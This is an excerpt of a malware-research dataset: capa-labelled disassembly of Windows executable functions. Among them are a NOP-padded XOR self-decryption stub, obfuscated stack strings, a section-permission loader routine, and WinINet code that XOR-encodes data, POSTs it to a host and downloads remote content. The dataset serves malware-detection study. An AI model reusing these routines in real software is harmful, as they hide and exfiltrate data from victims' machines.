joyce8/EMBER2024-capa huggingface dataset:
Function at 0x420520
Capabilities:
Terminate process

Disassembly:
push 0
call fcn.00423780
add esp, 4
test eax, eax
je 0x42054f
call fcn.00427d12
mov eax, dword [eax]
push eax
push str.Cant_initialize_threads:_error__d_n
push 0x44ccf8
call fcn.004274c7
add esp, 0xc
push 1
call fcn.00427055
push esi
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x45aa20
call esi
push 0x45a9c0
call esi
push 0x45aa40
call esi
push 0x45a9e0
call esi
push 0x45a980
call esi
push 0x45a9a0
call esi
push 0x45a960
call esi
push 0x45a940
call esi
push 0x45aa00
call esi
call fcn.00423770
pop esi
jmp 0x4205a0
push esi
push 0x45a9e0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x458f40]
mov ecx, dword fs:[0x2c]
mov esi, dword [ecx + eax*4]
mov eax, dword [esi + 0x34]
test eax, eax
jne 0x4205f4
mov eax, dword [0x458d7c]
inc eax
lea edx, [esi + 0x10]
push edx
mov dword [0x458d7c], eax
mov dword [esi + 0x34], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esi + 8]
push 0
push eax
call fcn.00423790
add esp, 8
push 0x45a9e0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop esi
ret

Function at 0x420730
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov eax, edi
shl eax, 5
lea ebp, [eax + 0x450898]
jmp 0x420750
mov edi, dword [esp + 0x14]
lea esp, [esp]
push ebp
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push 0
push ecx
push edx
push edi
or esi, 0xffffffff
call fcn.00428a30
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
je 0x420793
mov ebx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ebx
push eax
push edi
call fcn.00431801
mov esi, eax
add esp, 0xc
cmp esi, ebx
jne 0x420793
xor edi, edi
jmp 0x420798
mov edi, 1
push ebp
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
mov ebx, dword [esp + 0x28]
je 0x420839
call fcn.00427d12
mov edi, eax
call fcn.00420640
test esi, esi
mov ecx, dword [edi]
mov dword [eax], ecx
jne 0x4207cd
call fcn.00427d12
cmp dword [eax], 4
je 0x420745
test bl, 0x1a
je 0x420827
cmp esi, 0xffffffff
jne 0x420800
call fcn.00420640
mov edx, dword [eax]
mov eax, dword [esp + 0x14]
push edx
push eax
call fcn.00423740
add esp, 4
push eax
push 0x24
push 2
call fcn.004228d0
add esp, 0x10
pop edi
or eax, esi
pop esi
pop ebp
pop ebx
ret
test bl, 6
je 0x420827
call fcn.00420640
mov ecx, dword [eax]
mov edx, dword [esp + 0x14]
push ecx
push edx
call fcn.00423740
add esp, 4
push eax
push 0x24
push 9
call fcn.004228d0
add esp, 0x10
cmp esi, 0xffffffff
je 0x420831
test bl, 6
je 0x420839
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
and bl, 6
neg bl
pop edi
sbb ebx, ebx
not ebx
and ebx, esi
pop esi
pop ebp
mov eax, ebx
pop ebx
ret
Function at 0x4209f0
Capabilities:
Terminate process

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
test edi, edi
jne 0x4209ff
mov edi, 1
push edi
call fcn.00428b26
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x420a53
push esi
call fcn.00427d12
mov esi, eax
call fcn.00420640
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [esp + 0x14]
mov esi, eax
and esi, 8
je 0x420a36
mov edx, dword [fcn.00422850]
mov dword [fcn.00422850], edx
test al, 0x18
je 0x420a47
push edi
push 0x24
push 5
call fcn.004228d0
add esp, 0xc
test esi, esi
pop esi
je 0x420a6e
push 1
call fcn.00427055
test byte [esp + 0x10], 0x20
je 0x420a6e
mov ecx, edi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
mov eax, ebx
pop ebx
ret

Function at 0x421780
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
lea esp, [esp]
call fcn.00427d12
mov dword [eax], 0
mov eax, dword [esp + 0x18]
push edi
push eax
push ebx
call fcn.00431801
mov esi, eax
add esp, 0xc
cmp esi, edi
je 0x42184a
call fcn.00427d12
cmp dword [eax], 0
je 0x4217c7
call fcn.00427d12
mov ebp, dword [eax]
jmp 0x4217ca
or ebp, 0xffffffff
call fcn.00420640
test esi, esi
mov dword [eax], ebp
jne 0x4217df
call fcn.00427d12
cmp dword [eax], 4
je 0x421790
mov al, byte [esp + 0x20]
test al, 0x1a
je 0x421837
cmp esi, 0xffffffff
jne 0x421811
call fcn.00420640
mov ecx, dword [eax]
push ecx
push ebx
call fcn.00423740
add esp, 4
push eax
push 0x24
push 2
call fcn.004228d0
add esp, 0x10
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
test al, 6
je 0x421837
call fcn.00420640
mov edx, dword [eax]
push edx
push ebx
call fcn.00423740
add esp, 4
push eax
push 0x24
push 9
call fcn.004228d0
mov al, byte [esp + 0x30]
add esp, 0x10
cmp esi, 0xffffffff
je 0x421840
test al, 6
je 0x421854
pop edi
pop esi
pop ebp
mov eax, 0xffffffff
pop ebx
ret
mov al, byte [esp + 0x20]
test al, 6
je 0x421854
xor esi, esi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
Function at 0x424310
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x44
push ebx
mov ebx, dword [esp + 0x58]
test ebx, ebx
push edi
jge 0x424361
cmp ebx, 0xffffffdc
jl 0x42442b
cmp ebx, 0xfffffffe
jg 0x42442b
mov ecx, dword [esp + 0x54]
test ecx, ecx
mov edi, dword [esp + 0x50]
jg 0x424359
jl 0x424341
test edi, edi
jae 0x424359
mov edx, dword [esp + 0x58]
inc edx
mov byte [edx - 1], 0x2d
neg edi
adc ecx, 0
neg ecx
mov dword [esp + 0x58], edx
neg ebx
jmp 0x42437f
mov edx, dword [esp + 0x58]
neg ebx
jmp 0x42437f
cmp ebx, 0x24
jg 0x42442b
cmp ebx, 2
jl 0x42442b
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 0x50]
mov edx, dword [esp + 0x58]
mov eax, edi
or eax, ecx
jne 0x424394
mov byte [edx], 0x30
inc edx
pop edi
mov byte [edx], 0
mov eax, edx
pop ebx
add esp, 0x44
ret
test ecx, ecx
push esi
lea esi, [esp + 0x4c]
mov byte [esp + 0x4c], 0
ja 0x4243aa
cmp edi, 0x7fffffff
jbe 0x4243df
push ebp
xor ebp, ebp
lea ecx, [ecx]
push ebp
push ebx
push ecx
push edi
call fcn.00427bc0
mov ecx, eax
imul ecx, ebx
sub edi, ecx
mov cl, byte [edi + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
dec esi
test edx, edx
mov byte [esi], cl
mov edi, eax
mov ecx, edx
ja 0x4243b0
jb 0x4243da
cmp eax, 0x7fffffff
ja 0x4243b0
mov edx, dword [esp + 0x60]
pop ebp
test edi, edi
mov dword [esp + 0x60], edi
je 0x424417
mov eax, dword [esp + 0x60]
cdq
idiv ebx
xor edx, edx
mov dl, byte [esp + 0x60]
dec esi
mov ecx, eax
mov al, bl
imul cl
sub dl, al
mov dword [esp + 0x60], ecx
and edx, 0xff
test ecx, ecx
mov al, byte [edx + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esi], al
jne 0x4243e7
mov edx, dword [esp + 0x5c]
mov al, byte [esi]
mov byte [edx], al
inc edx
inc esi
test al, al
jne 0x424417
pop esi
pop edi
lea eax, [edx - 1]
pop ebx
add esp, 0x44
ret
pop edi
xor eax, eax
pop ebx
add esp, 0x44
ret

Function at 0x432fe2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x43300d
test byte [esp + 8], 0x80
je 0x432ffc
and al, 0xfe
jmp 0x432ffe
or al, 1
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x43301e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00427c9f
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret

Function at 0x433b0d
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x433b2d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00427c9f
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x433b50
test byte [esp + 8], 2
je 0x433b50
call fcn.00427d12
mov dword [eax], 0xd
call fcn.00427d1b
mov dword [eax], 5
jmp 0x433b29
xor eax, eax
ret
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x5fa20392
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x1cce093a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x411203
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x417490
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004170e6
push eax
push esi
push dword [ebp + 8]
call fcn.0041709b
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004170e6
push eax
push esi
push dword [ebp + 8]
call fcn.0041709b
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004170d6
mov dword [ecx - 0x6277b93e], ebx
jl 0x41755b
invalid
invalid
Function at 0x411230
Capabilities:
Inspect section memory permissions

Disassembly:
jmp 0x4177b0
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x4177ad
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x4177cb
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x417829
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x417810
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x417819
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x417823
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x417805
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x41778f
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x417876
dec eax
je 0x41786d
sub eax, 3
je 0x417864
mov dword [ebp - 4], 0x40
jmp 0x417893
mov dword [ebp - 4], 4
jmp 0x417879
mov dword [ebp - 4], 0x20
jmp 0x417879
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4178c5
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x417845
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.004170d6
pop ebp
xchg esi, eax
movsd dword es:[edi], dword [esi]
mov esi, 0x6a1475ff
add dword [esi - 1], edx
xlatb
mov eax, esi
jmp 0x4178d1
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4114ec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x417580
pop ebx
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.004170d6
shr dword [ebx + 0x2b], 1
lds ecx, [ebp - 0x837b]
call dword [eax - 0x18]
sbb al, 0xfb
invalid
Function at 0x425c80
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, 4
call fcn.0041d4f0
mov dword [ebp - 0x64], esp
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x10], eax
push 0x1c
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x425cb4
xor eax, eax
jmp 0x425dbe
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x60], eax
lea ecx, [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
sub eax, 1
not eax
mov ecx, dword [ebp - 0x10]
and ecx, eax
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ecx
mov edx, dword [0x435ec0]
sub edx, 1
neg edx
sbb edx, edx
and edx, 0xffff1000
add edx, 0x11000
mov eax, dword [ebp - 0x60]
add eax, edx
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 8]
jae 0x425d0d
xor eax, eax
jmp 0x425dbe
cmp dword [0x435ec0], 1
je 0x425d89
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x5c], edx
push 0x1c
lea eax, [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x425d37
xor eax, eax
jmp 0x425dbe
mov edx, dword [ebp - 0x5c]
add edx, dword [ebp - 0x4c]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x48]
and eax, 0x1000
test eax, eax
je 0x425d1c
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x44]
and edx, 0x100
test edx, edx
je 0x425d66
mov eax, 1
jmp 0x425dbe
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x5c]
jae 0x425d72
xor eax, eax
jmp 0x425dbe
push 4
push 0x1000
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
jmp 0x425d8f
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x435ec0]
sub ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 0x103
add ecx, 1
mov dword [ebp - 4], ecx
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x64]
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check os version

Disassembly:
sub esp, 0xa0
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x9c], eax
push 0x98
lea eax, [esp + 8]
push 0
push eax
call fcn.00406b00
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x401053
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
mov eax, dword [esp + 4]
cmp eax, 6
jne 0x4010e1
mov eax, dword [esp + 8]
test eax, eax
jne 0x40108c
cmp byte [esp + 0x9a], 1
setne al
lea eax, [eax + eax + 4]
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 1
jne 0x4010b7
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
lea eax, [eax + eax + 5]
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 2
jne 0x401131
xor eax, eax
cmp byte [esp + 0x9a], 1
setne al
add eax, 8
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 5
jne 0x401131
mov eax, dword [esp + 8]
cmp eax, 2
jne 0x401109
mov eax, 3
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
cmp eax, 1
jne 0x401128
mov eax, 2
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret
test eax, eax
jne 0x401131
mov eax, 1
mov ecx, dword [esp + 0x9c]
xor ecx, esp
call fcn.004033e4
add esp, 0xa0
ret

Function at 0x401170
Capabilities:
Get disk information

Disassembly:
sub esp, 0x810
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x80c], eax
push ebx
xor ebx, ebx
push 0x3ff
lea eax, [esp + 0x415]
push ebx
push eax
mov byte [esp + 0x41c], bl
call fcn.00406b00
push 0x3ff
lea ecx, [esp + 0x21]
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov byte [esp + 0x28], bl
call fcn.00406b00
add esp, 0x18
push 0x400
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x14]
push edx
push 0x400
lea eax, [esp + 0x428]
push eax
push 0x410470
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [esp + 0x810]
neg eax
sbb eax, eax
and eax, dword [esp + 4]
pop ebx
xor ecx, esp
call fcn.004033e4
add esp, 0x810
ret
Function at 0x4012e0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x108
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x104], eax
push 0x103
lea eax, [esp + 5]
push 0
push eax
mov byte [esp + 0xc], 0
call fcn.00406b00
add esp, 0xc
push 0x104
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40133a
xor al, al
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004033e4
add esp, 0x108
ret
mov cl, 0x5c
lea esp, [esp]
dec eax
cmp byte [esp + eax], cl
jne 0x401340
mov byte [esp + eax + 1], 0
lea eax, [esp]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401350
mov edx, dword [str.rss.tmp]
mov ecx, dword [0x41047c]
push edi
mov dword [eax], edx
lea edx, [esp + 4]
push 0x410480
push edx
mov dword [eax + 4], ecx
call fcn.00403c7d
mov edi, eax
add esp, 8
test edi, edi
jne 0x40139a
xor al, al
pop edi
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.004033e4
add esp, 0x108
ret
push ebx
push ebp
push esi
push 2
push 0
push edi
call fcn.004043ca
push edi
call fcn.004042d2
push 0
push 0
push edi
mov ebp, eax
call fcn.004043ca
lea ebx, [ebp + 0x1a4]
push ebx
call fcn.00403aef
mov esi, eax
add esp, 0x20
mov dword [0x414760], esi
test esi, esi
jne 0x4013d8
xor al, al
jmp 0x401403
push ebp
push 0
push esi
call fcn.00406b00
push edi
push 1
push ebp
push esi
call fcn.00403f34
push edi
call fcn.004044c6
mov edx, dword [0x414760]
add esp, 0x20
mov esi, ebx
call fcn.00401150
mov al, 1
mov ecx, dword [esp + 0x114]
pop esi
pop ebp
pop ebx
pop edi
xor ecx, esp
call fcn.004033e4
add esp, 0x108
ret
Function at 0x4018e0
Capabilities:
Connect to http server
Send data
Send http request

Disassembly:
sub esp, 8
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 4], eax
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
push 0xfa
mov dword [esp + 0x14], eax
mov esi, ecx
call fcn.00403aef
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x401a54
push 0xfa
push 0
push ebx
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebp
push esi
push 0x414560
push ebx
call fcn.004033f3
mov edi, dword [esp + 0x34]
add edi, 0x18
push edi
call fcn.00403aef
mov esi, eax
add esp, 0x18
test esi, esi
je 0x401a45
mov dword [esi], ebp
mov dword [esi + 4], edi
mov ecx, dword [0x414764]
mov dword [esi + 8], ecx
mov edx, dword [0x414768]
mov dword [esi + 0xc], edx
mov eax, dword [0x41476c]
mov edx, dword [esp + 0x20]
mov dword [esi + 0x10], eax
mov ecx, dword [0x414770]
mov eax, dword [esp + 0x10]
push edx
mov dword [esi + 0x14], ecx
push eax
lea ecx, [esi + 0x18]
push ecx
call fcn.004090e0
add esp, 0xc
xor ecx, ecx
test edi, edi
jle 0x4019b5
lea esp, [esp]
mov al, byte [ecx + esi]
test al, al
je 0x4019b0
cmp al, 0x59
je 0x4019b0
xor al, 0x59
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jl 0x4019a0
mov edx, dword [str.___x9:7__9_3x59_]
mov eax, dword [0x414798]
push 0
push 0
push 3
push 0
push 0
push 0x50
push edx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [esp + 0x10], eax
test eax, eax
je 0x401a45
push 0
push 0x100
push 0
push 0
push str.HTTP_1.1
push ebx
push str.POST
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x401a49
push edi
push esi
push 0
push 0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x401a49
push ebx
call fcn.00403a12
push esi
call fcn.00403a12
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 8
push ecx
call esi
push ebp
call esi
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov ecx, dword [esp + 4]
xor ecx, esp
call fcn.004033e4
add esp, 8
ret
mov ebp, dword [esp + 0x10]
push ebx
call fcn.00403a12
add esp, 4
jmp 0x401a5c
mov esi, dword [esp + 0x10]
mov ebp, dword [esp + 0x10]
test esi, esi
je 0x401a69
push esi
call fcn.00403a12
add esp, 4
mov eax, dword [esp + 0x10]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x401a7a
push eax
call esi
test ebp, ebp
je 0x401a81
push ebp
call esi
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 8
ret
Function at 0x401aa0
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push esi
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414660
push ecx
call fcn.004033f3
mov eax, dword [0x414798]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x401b5a
mov edx, dword [0x41479c]
push ebx
lea ecx, [esp + 8]
push ecx
push 0xb00000
push edx
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
push esi
setne bl
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test bl, bl
pop ebx
je 0x401b5a
cmp dword [esp + 4], 0
je 0x401b5a
mov al, 1
pop esi
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
mov ecx, dword [esp + 0x134]
pop esi
xor ecx, esp
xor al, al
call fcn.004033e4
add esp, 0x134
ret

Function at 0x401b80
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x134
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x130], eax
push ebp
push 0x12b
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0xc]
push 0x414460
push ecx
call fcn.004033f3
mov eax, dword [0x414798]
add esp, 0xc
push 0
push 0x100
push 0
push 0
lea edx, [esp + 0x18]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
test ebp, ebp
jne 0x401bff
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push esi
mov esi, dword [0x41479c]
push 0xb00000
push 0
push esi
call fcn.00406b00
add esp, 0xc
lea ecx, [esp + 8]
push ecx
push 0xb00000
push esi
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401c3c
mov eax, dword [esp + 8]
test eax, eax
jne 0x401c6d
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [esp + 8]
test eax, eax
je 0x401c54
push eax
call fcn.00403a12
add esp, 4
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret
push edi
push eax
call fcn.00403aef
mov esi, dword [esp + 0x10]
mov edx, dword [0x41479c]
push esi
mov edi, eax
push edx
push edi
call fcn.004090e0
add esp, 0x10
mov edx, edi
call fcn.004018c0
push ebp
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00401aa0
mov ecx, dword [esp + 0x13c]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.004033e4
add esp, 0x134
ret